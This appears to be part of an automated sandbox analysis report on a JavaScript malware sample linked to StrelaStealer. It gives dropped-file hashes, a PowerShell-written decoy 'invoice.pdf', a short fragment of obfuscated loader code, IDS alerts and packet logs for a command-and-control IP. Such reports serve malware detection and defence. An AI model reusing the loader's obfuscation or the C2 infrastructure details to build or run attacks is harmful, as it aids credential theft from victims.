MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\519eebf8-ddfb-4337-a2c0-84a5e8b83db1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5d375160-97c4-4d4a-af0d-94ca158eaf9a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c583f536-356e-40a8-ae7c-78f378f0e055.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17388), with CRLF line terminators
Entropy (8bit):	4.919819638905579
TrID:
File name:	168423236840504572.js
File size:	20'928 bytes
MD5:	a1681d9e4a218a6a82f0aa757b1774d7
SHA1:	a500240c4a03e4b14ab59c9015ebc61014826afe
SHA256:	85aead81c4d3b6b1fba2555618e2082ddabc53a7c0a6b74846aade372c066249
SHA512:	1fd7fe797b5a58737d130e6a94f03b6fe7afca72b063b952ec0be6206d93b4b6b7a48fe8f1ca53595e1f90a13b0b47123167c2411a9d5f6761e0f5b467d84a25
SSDEEP:	384:H87dDbEKM3Uw1e/ER4pI+Yr8y12Zn97IDPMCBF87me1du:H87dDbEKM3Hw3YG97o
TLSH:	E49255D5DC39D6B28CD092D0DBAF24896698870E482C814FF59BA4C45CB48399BFCF78
File Content Preview:	function bllgkgrf(){sovlt=[1031,3079,5127,4103,2055,3072];var amhfrzt=this[iamefiimk+vlrtat+xcplcrtph+leilqb+cekniv+mucvj+usdnesk+xbguduhso](this[iapdfz+sdobq+jtlsgts+xcplcrtph+lucjn+iamefiimk+xbguduhso][zcaazjt+xcplcrtph+cekniv+vlrtat+xbguduhso+cekniv+bx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:18:19.156804+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49726	193.143.1.205	80	TCP
2025-01-11T02:18:19.156804+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49726	193.143.1.205	80	TCP
2025-01-11T02:18:21.379722+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49742	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:18:18.349126101 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:18.354445934 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:18.354547977 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:18.357682943 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:18.362651110 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156660080 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156717062 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156773090 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156804085 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.156822920 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156860113 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156867981 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.156893015 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156929016 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156935930 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.156965017 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.156994104 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.157004118 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.157030106 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.157085896 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.161812067 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.161868095 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.161876917 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.161923885 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.208084106 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.208101034 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.208205938 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.285053968 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285203934 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285240889 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285276890 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285285950 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.285312891 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285334110 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.285476923 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285511971 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285526037 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.285569906 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285604954 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285625935 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.285644054 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.285691977 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.287204027 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287239075 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287273884 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287295103 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.287308931 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287353992 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.287457943 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287487030 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287525892 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.287693977 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287723064 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287765980 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.287797928 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287942886 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287977934 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.287990093 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.288014889 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.288049936 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.288065910 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.294754028 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.294785023 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.294847012 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.348470926 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.377605915 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.377651930 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.377686977 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.377715111 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.413501024 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.413541079 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.413567066 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.413602114 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.413635969 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.413656950 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.413672924 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.413769007 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.413783073 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.414113045 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414146900 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414160013 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.414182901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414211988 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414226055 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.414452076 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414486885 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414503098 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.414522886 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414556026 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414562941 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.414588928 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414629936 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.414911985 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.414966106 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415000916 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415015936 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.415035963 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415070057 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415082932 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.415113926 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415144920 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415158033 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.415779114 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415811062 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415823936 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.415844917 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415894985 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415895939 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.415960073 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.415993929 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416007042 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.416028976 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416069984 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.416400909 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416435003 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416470051 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416485071 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.416532993 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416568041 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416575909 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.416908979 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416960001 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.416963100 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.416996956 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417047024 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417057991 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.417079926 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417114973 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417121887 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.417546034 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417592049 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.417598963 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417632103 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417669058 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417678118 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.417702913 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417742968 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.417783976 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417818069 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.417862892 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.418642044 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.418678045 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.418729067 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.424690008 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.464329004 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.464360952 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.464406967 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.507911921 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.507952929 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.507965088 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.507985115 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.507997990 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.508001089 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.508009911 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.508030891 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.508044004 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542300940 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542349100 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542407990 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542416096 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542443991 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542496920 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542510033 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542534113 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542568922 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542578936 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542603970 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542637110 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542654037 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542673111 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542722940 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542725086 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542758942 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542793989 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542804003 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542830944 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542859077 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542874098 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542910099 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542943954 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.542958975 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.542978048 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543013096 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543025017 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543046951 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543080091 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543088913 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543132067 CET	80	49726	193.143.1.205	192.168.2.10
